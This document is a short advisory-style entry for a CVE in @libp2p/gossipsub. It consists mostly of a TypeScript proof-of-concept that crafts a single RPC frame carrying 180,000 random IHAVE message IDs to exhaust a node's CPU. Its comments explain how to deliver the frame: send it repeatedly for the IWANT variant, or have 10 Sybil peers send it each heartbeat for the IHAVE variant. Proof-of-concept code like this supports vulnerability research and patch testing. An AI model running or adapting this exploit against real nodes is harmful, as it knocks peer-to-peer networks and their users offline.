CVE-2026-49866: @libp2p/gossipsub CPU DoS via Oversized IHAVE and IWANT Control Messages

// Derived from the published PoC (gossipsub.ts handleIHave / handleIWant path)
// Craft a single RPC containing one ControlIHave with 180,000 random 20-byte IDs.
// This fits inside the default 4 MB LP frame limit and is decoded with no cap.

import { RPC } from '@libp2p/gossipsub/message/rpc'

const TOPIC = 'attack-topic'
const MSG_IDS_PER_IHAVE = 180_000

// Generate 180,000 random 20-byte message IDs
const messageIDs = Array.from({ length: MSG_IDS_PER_IHAVE }, () => {
  const id = new Uint8Array(20)
  crypto.getRandomValues(id)
  return id
})

// Encode as a valid gossipsub RPC with a single oversized ControlIHave entry
const rpc = RPC.encode({
  subscriptions: [],
  messages: [],
  control: {
    ihave: [{ topicID: TOPIC, messageIDs }],
    iwant: [],
    graft: [],
    prune: [],
    idontwant: []
  }
})

// rpc.byteLength is <= 4 MB (fits in one LP frame)
// Stream this frame to the victim repeatedly for IWANT variant (no rate limit at all)
// Use 10 Sybil peers each sending one frame per heartbeat for IHAVE variant
console.log(`Frame size: ${(rpc.byteLength / 1024 / 1024).toFixed(2)} MB`)
console.log('defaultDecodeRpcLimits.maxIhaveMessageIDs was Infinity -- no decode-level cap')